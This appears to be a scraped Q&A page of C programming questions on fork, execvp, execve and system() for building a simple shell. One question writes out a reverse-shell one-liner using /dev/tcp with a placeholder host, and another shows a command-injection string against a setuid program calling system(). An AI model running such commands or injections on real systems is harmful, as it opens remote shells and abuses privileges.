execvp() creating a small unix shell based program - c

I have made a small program that forks and executes another program. Basically it's supposed to work just like unix shell.
Here is my code:
int main(int argc, char *argv[]){
pid_t cpid;
char *shell[5];
shell[0]=argv[1];
shell[1]=argv[2];
shell[2]=argv[3];
shell[4]=NULL;
if(argc!=4){
printf("Program expects 4 arguments");
} else{
cpid=fork();
if(cpid==0){
execvp("/bin/sh",shell);
}//end child process
if (cpid != wait(NULL)) { /* parent code */
printf("Parent failed to wait");
return 1;
}
}//end else
}//end main
However, when I give the command
$ ./shell simple sml_prog1 A
it says sml_prog1 not found about 15 or 20 times.
The shell is supposed to run simple which takes sml_prog1 A as arguments.
The program does work on its own with the same arguments.
I changed the permissions of sml_prog1 to read/write/executable. Moreover sml_prog1 is a .txt file that contains data that the program simple uses

The main issue is how you're calling execvp. You don't want to execute /bin/sh, you want to execute the program the user passed in, i.e. argv[1].
Change the call to this, and add the following error checking:
execvp(shell[0],shell);
perror("exec failed"); // This line never gets called unless execvp fails
exit(1); // end the child process
Also, you never set shell[3] to anything. You probably want to set this to NULL instead of shell[4]:
shell[0]=argv[1];
shell[1]=argv[2];
shell[2]=argv[3];
shell[3]=NULL;

The simplest possible example of using execvp() I can think of is as follows:
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
++argv;
if (*argv)
execvp(*argv, argv);
return 0;
}
Compile it with:
cc -Wextra -Wall some.c -o some
And run it like:
./some ls -la
Or to display that all the arguments are getting passed to execvp() more clearly:
./some ls -la -R /etc
To demonstrate it put to use with your exact scenario of invoking a shell compare the output of these two commands (be warned this it is pretty redundant to use /bin/sh directly when one is already using execvp()):
./some bash -c 'type history'
./some sh -c 'type history'

If you need to execute your program through /bin/sh, not directly, you must do it differently.
You must pass the program somehow this way:
char * shell[4];
shell[0] = "sh";
shell[1] = "-c";
shell[2] = "./simple sml_prog1 A";
shell[3] = NULL;
See ? with -c option, and the full program
So something like this should do the job for you:
char * shell[4];
shell[0] = "sh";
shell[1] = "-c";
char prog[100]; // be careful with this number
snprintf (prog, 100, "./%s %s %s",argv[1], argv[2], argv[3]);
shell[2] = prog;
shell[3] = NULL;

Related

I ran into a problem while creating my own shell

I'm making my own shell in C. The input window appears, but when I enter the command ls, it does not respond.
#define MAX 64
char buf[MAX];
void * get_next_command(void);
int main(int argc, char* argv[])
{
while(1){
char *cmd = get_next_command();
int child_pid = fork();
if(child_pid <0){
perror("error\n");
return -1;
}
else if(child_pid == 0){
execle(cmd,cmd,NULL);
exit(0);
}
else{
wait(NULL);
}
}
return 0;
}
void * get_next_command()
{
printf("Shell > ");
fgets(buf,MAX,stdin);
buf[strlen(buf)-1]='\n';
}
I wonder how to run commands in my own shell. Any reply will be thankful. Best regards.
While making a shell seems simple, you actually have to work a bit more on this to make it work. The thing is execle asks for the path of the file to execute. For example ls is actually /bin/ls so that's what you need to pass on as a first argument for your program to work. If you wanna go deeper into this and make a real custom shell, you have to get your environment through your main like this:
int main(int ac, char **av, char **env);
This will get your environment (you can type env in your terminal to see what it's like) then you'll be able to get the PATH variable to get all the paths separated by : for your binaries (like /bin which is used by /bin/ls).
As for execle, if you wanna pass on the arguments you have, you have to pass them like this:
For example if the command is ls -l -a
then you will run:
execle("/bin/ls", "ls", "-l", "-a", NULL);
But you can also do the same with execv which works with a char ** instead of strings for your arguments. AND if you go even deeper into this you can pass on your custom environment with execve (the third argument being your environment).
Here's how you should call your function (replacing the hardcoded values by variables of course):

How to pass an extra option in ls using execv()?

I'm trying to execute this simple command ls -1 *.c using the execv() function.
#include<stdio.h>
#include<fcntl.h>
int main(int argc,char* argv[]){
char *arr[3]={"ls","-1","*.c"};
execv("/bin/ls",arr);
}
The output I'm getting is
ls: cannot access *.c: No such file or directory
There's a big problem in your code: execv can't tell how big the array you're passing it is. You absolutely need a terminating NULL element to mark the end:
char *arr[] = { "ls", "-1", "*.c", NULL };
OK, now that we have a valid execv invocation, we can deal with the ls error.
Calling execv like this is equivalent to running
'ls' '-1' '*.c'
on the command line (which would produce the same error).
When you do
ls -1 *.c
on the command line, ls never sees *.c because the shell expands wildcards and passes a list of matching filenames to ls.
If you want to replicate that in your C code, you have to do the same thing manually. See e.g. man glob for a function that does most of the work. Here's an adapted example from the man page that shows the general principle:
glob_t globbuf;
globbuf.gl_offs = 2;
glob("*.c", GLOB_DOOFFS, NULL, &globbuf);
globbuf.gl_pathv[0] = "ls";
globbuf.gl_pathv[1] = "-1";
execv("/bin/ls", globbuf.gl_pathv);

Execute reverse shell using execve()

I need to run a reverse shell using execve. I know how to run it from command line as follows:
$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
I can run a simple version of /bin/sh call as follows:
#include <stdio.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = "-i";
args[2] = NULL;
execve(args[0], args, NULL);
}
I am not able to figure out how to run the rest of the command. I tried assigning the remaining string > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1 as individual elements in the args array. When I run that it reports that Can't open >.
Is the reverse shell command I mentioned executable via execve() ? If so, what would be the right way to do it ? Thanks.
The /dev/tcp/*/* files don't exist. They're an abstraction that only exists in some shell (bash, ksh). You'll need to do regular socket programming in your C program (socket, bind, listen, accept and then dup2 the socket on the standard IO descriptors of the shell you spawn).
You should also fix the overflow in the array.
An initialization such as char *args[] = { "/bin/sh", "-i", 0 }; should be less error prone.

What's the difference between system() and execve()

I use linux and c.
First, I soft link bin/zsh to sh
Second, I login as root the run the following program.
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *v[3];
if(argc < 2) {
printf("Please type a file name.\n");
return 1;
}
v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = 0;
/* Set q = 0 for system(), and q = 1 for execve */
int q = 0;
if (q == 0){
char *command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
sprintf(command, "%s %s", v[0], v[1]);
system(command);
}
else execve(v[0], v, 0);
return 0 ;
}
Third, I login as a normal user(not root).
Now, I can remove or rewrite a file which I don't have write privilege by using the execute file of this program.
Like this:
./a.out text;\`echo \”Not right\”>text\`”
Now I can write "Not right" into the file "text". I only have read privilege of this file
The read and write privilege of these files.
Fourth, I change q to 1. That means, this time I use execve instead.
And do the same thing as above.
But this time I cannot change the content of the file.
Why?
I google in the internet, but I can not find the different between system and execve.
system invokes a shell to parse the string and handle quoting and variable interpolations and stuff. execve does none of this. It replaces the program with the called program and passes the argument strings exactly as specified; ie. it will not interpret quotes.
You said you did chmod 4755 a.out. That means you're setting the setuid bit and the program will then always run with root privileges, and has write access to text. The string with backquote is passed to the shell which interprets it as a command to write to text.
The reason execve doesn't write to text is that it doesn't interpret its arguments as a shell command and ` doesn't have any special meaning.

send mulitple args to system() in C

Assume, I have one line bash script that executes everything it has in arguments
#!/bin/bash
$1
So, the command ./one_line_script.sh "ls -lh" works fine.
Also I have C code, that accepts arguments and send them to my bash script
int main (int argc, char* argv[])
{
char command[1000];
sprintf(command, "/path/to/one_line_script.sh %s", argv[1]);
system(command);
return 0;
}
And here I've got a problem, because ./c_program "ls -lh" returns only ls output. It doesn't understand few arguments. How do I need to modify my C code, so it could accept few arguments?
I would recommend to use fork and exec directly to avoid quoting issues altogether. Consider for example what happens if a ' is contained within an argument - when doing sprintf cmd-line butchering this leads to broken command lines.
int pid = fork();
if(pid == 0) {
execl("/bin/sh", "sh", "-c", arg1, arg2, arg3, 0);
} else {
int status=0;
waitpid(pid, &status, 0);
}
You need to quote it in your sprintf too, or bash will only receive one argument :)
sprintf(command, "/path/to/one_line_script.sh '%s'", argv[1]);
I've added quotes (') around the %s.
You can also use $# instead of $1 in your bash script, so it will take all arguments passed to it.
Try:
int i;
command[0] = '\0';
for (i = 1; i < argc; i++)
strcat (command, argv[i]);
system (command);
This should work, but please be aware that it has a lot of security hazards: first of all executing any possible command you get on the command line might allow users to do things they normally aren't allowed to (don't setuid your program!). Then the buffer might easily overflow and allow all kinds of stack smashing. So I'd say: only use this program as a learning tool, to learn manipulation of argc/argv and to begin thinking about security. Don't even compile it!

Resources